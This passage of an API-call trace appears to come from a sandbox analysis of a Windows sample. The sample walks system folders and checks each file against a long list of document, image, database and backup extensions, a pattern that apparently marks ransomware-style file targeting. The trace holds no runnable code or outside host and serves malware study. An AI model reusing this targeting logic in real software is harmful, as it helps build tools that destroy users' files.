4 [0109.808] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".hpp") returned 4 [0109.808] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".hta") returned 4 [0109.808] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".htc") returned 4 [0109.808] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".htm") returned 4 [0109.808] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".html") returned 5 [0109.808] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0109.808] lstrlenW (lpString=".icb") returned 4 [0109.808] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".ics") returned 4 [0109.808] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".iff") returned 4 [0109.808] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".inc") returned 4 [0109.808] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".indd") returned 5 [0109.808] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0109.808] lstrlenW (lpString=".ini") returned 4 [0109.808] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".iqy") returned 4 [0109.808] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".j2c") returned 4 [0109.808] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".j2k") returned 4 [0109.808] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".java") returned 5 [0109.809] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0109.809] lstrlenW (lpString=".jp2") returned 4 [0109.809] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".jpc") returned 4 [0109.809] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".jpe") returned 4 [0109.809] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".jpeg") returned 5 [0109.809] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0109.809] lstrlenW (lpString=".jpf") returned 4 [0109.809] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".jpg") returned 4 [0109.809] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".jpx") returned 4 [0109.809] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".js") returned 3 [0109.809] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0109.809] lstrlenW (lpString=".jsf") returned 4 [0109.809] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".json") returned 5 [0109.809] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0109.809] lstrlenW (lpString=".jsp") returned 4 [0109.809] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".kdc") returned 4 [0109.809] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".kmz") returned 4 [0109.809] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".kwm") returned 4 [0109.809] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".lasso") returned 6 [0109.809] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0109.809] lstrlenW (lpString=".lbi") returned 4 [0109.809] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0109.809] lstrlenW (lpString=".lgf") returned 4 [0109.810] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".lgp") returned 4 [0109.810] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".log") returned 4 [0109.810] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0109.810] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0109.810] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0109.810] lstrlenW (lpString=".1cd") returned 4 [0109.810] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".3ds") returned 4 [0109.810] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".3fr") returned 4 [0109.810] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".3g2") returned 4 [0109.810] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".3gp") returned 4 [0109.810] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0109.810] lstrlenW (lpString=".7z") returned 3 [0109.810] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.810] lstrlenW (lpString=".accda") returned 6 [0109.810] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0109.810] lstrlenW (lpString=".accdb") returned 6 [0109.810] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0109.810] lstrlenW (lpString=".accdc") returned 6 [0109.810] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0109.810] lstrlenW (lpString=".accde") returned 6 [0109.810] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0109.810] lstrlenW (lpString=".accdt") returned 6 [0109.810] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0109.810] lstrlenW (lpString=".accdw") returned 6 [0109.810] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0109.811] lstrlenW (lpString=".adb") returned 4 [0109.811] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".adp") returned 4 [0109.811] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai") returned 3 [0109.811] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0109.811] lstrlenW (lpString=".ai3") returned 4 [0109.811] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai4") returned 4 [0109.811] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai5") returned 4 [0109.811] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai6") returned 4 [0109.811] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai7") returned 4 [0109.811] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ai8") returned 4 [0109.811] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".anim") returned 5 [0109.811] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0109.811] lstrlenW (lpString=".arw") returned 4 [0109.811] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".as") returned 3 [0109.811] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0109.811] lstrlenW (lpString=".asa") returned 4 [0109.811] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".asc") returned 4 [0109.811] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".ascx") returned 5 [0109.811] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0109.811] lstrlenW (lpString=".asm") returned 4 [0109.811] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0109.811] lstrlenW (lpString=".asmx") returned 5 [0109.812] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0109.812] lstrlenW (lpString=".asp") returned 4 [0109.812] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".aspx") returned 5 [0109.812] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0109.812] lstrlenW (lpString=".asr") returned 4 [0109.812] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".asx") returned 4 [0109.812] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".avi") returned 4 [0109.812] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".avs") returned 4 [0109.812] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".backup") returned 7 [0109.812] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0109.812] lstrlenW (lpString=".bak") returned 4 [0109.812] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".bay") returned 4 [0109.812] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".bd") returned 3 [0109.812] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0109.812] lstrlenW (lpString=".bin") returned 4 [0109.812] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".bmp") returned 4 [0109.812] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".bz2") returned 4 [0109.812] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".c") returned 2 [0109.812] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0109.812] lstrlenW (lpString=".cdr") returned 4 [0109.812] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".cer") returned 4 [0109.812] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0109.812] lstrlenW (lpString=".cf") returned 3 [0109.812] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0109.812] lstrlenW (lpString=".cfc") returned 4 [0109.813] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".cfm") returned 4 [0109.813] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".cfml") returned 5 [0109.813] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0109.813] lstrlenW (lpString=".cfu") returned 4 [0109.813] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".chm") returned 4 [0109.813] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".cin") returned 4 [0109.813] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".class") returned 6 [0109.813] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0109.813] lstrlenW (lpString=".clx") returned 4 [0109.813] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".config") returned 7 [0109.813] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0109.813] lstrlenW (lpString=".cpp") returned 4 [0109.813] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".cr2") returned 4 [0109.813] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".crt") returned 4 [0109.813] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".crw") returned 4 [0109.813] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".cs") returned 3 [0109.813] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0109.813] lstrlenW (lpString=".css") returned 4 [0109.813] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0109.813] lstrlenW (lpString=".csv") returned 4 [0109.813] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".cub") returned 4 [0109.814] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dae") returned 4 [0109.814] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dat") returned 4 [0109.814] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".db") returned 3 [0109.814] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0109.814] lstrlenW (lpString=".dbf") returned 4 [0109.814] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dbx") returned 4 [0109.814] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dc3") returned 4 [0109.814] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dcm") returned 4 [0109.814] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dcr") returned 4 [0109.814] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".der") returned 4 [0109.814] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dib") returned 4 [0109.814] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dic") returned 4 [0109.814] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".dif") returned 4 [0109.814] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".divx") returned 5 [0109.814] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0109.814] lstrlenW (lpString=".djvu") returned 5 [0109.814] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0109.814] lstrlenW (lpString=".dng") returned 4 [0109.814] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0109.814] lstrlenW (lpString=".doc") returned 4 [0109.814] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".docm") returned 5 [0109.815] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0109.815] lstrlenW (lpString=".docx") returned 5 [0109.815] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0109.815] lstrlenW (lpString=".dot") returned 4 [0109.815] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".dotm") returned 5 [0109.815] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0109.815] lstrlenW (lpString=".dotx") returned 5 [0109.815] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0109.815] lstrlenW (lpString=".dpx") returned 4 [0109.815] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".dqy") returned 4 [0109.815] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".dsn") returned 4 [0109.815] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".dt") returned 3 [0109.815] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0109.815] lstrlenW (lpString=".dtd") returned 4 [0109.815] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0109.815] lstrlenW (lpString=".dwg") returned 4 [0109.815] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0109.815] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0109.815] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0109.815] FindClose (in: hFindFile=0x4250c80 | out: hFindFile=0x4250c80) returned 1 [0109.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0109.819] FindNextFileW (in: hFindFile=0x5c9a58, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0109.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0109.819] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0110.163] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.264] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.264] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.264] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.265] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.265] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.265] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.265] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.266] FindNextFileW (in: hFindFile=0x5c9a58, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0110.266] FindClose (in: hFindFile=0x5c9a58 | out: hFindFile=0x5c9a58) returned 1 [0110.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0110.266] FindNextFileW (in: hFindFile=0x5c9698, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0110.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c20940 [0110.266] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x4250e40 [0110.266] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.266] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.266] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.267] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.267] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.267] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.267] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.267] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.267] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b80 [0110.267] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.267] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.267] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.267] FindClose (in: hFindFile=0x4250b80 | out: hFindFile=0x4250b80) returned 1 [0110.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.268] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0110.268] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0110.268] FindNextFileW (in: hFindFile=0x5c9698, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0110.269] FindNextFileW (in: hFindFile=0x5c9698, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0110.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c20940 [0110.269] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x4250c80 [0110.290] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.291] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.292] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0110.293] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.293] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.293] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.293] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.294] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.294] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.295] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.296] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250880 [0110.319] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.319] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.319] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.319] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.319] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.319] FindClose (in: hFindFile=0x4250880 | out: hFindFile=0x4250880) returned 1 [0110.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.363] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.364] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x42508c0 [0110.369] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.369] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.369] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.370] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.370] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.370] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.371] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.371] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250bc0 [0110.372] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.372] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.372] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.373] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.373] FindClose (in: hFindFile=0x4250bc0 | out: hFindFile=0x4250bc0) returned 1 [0110.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.374] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x42508c0 [0110.375] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.375] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.375] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.375] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.376] FindNextFileW (in: hFindFile=0x42508c0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.376] FindClose (in: hFindFile=0x42508c0 | out: hFindFile=0x42508c0) returned 1 [0110.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.377] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0110.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.377] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0110.379] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.379] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.379] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.379] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0110.380] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0110.380] FindClose (in: 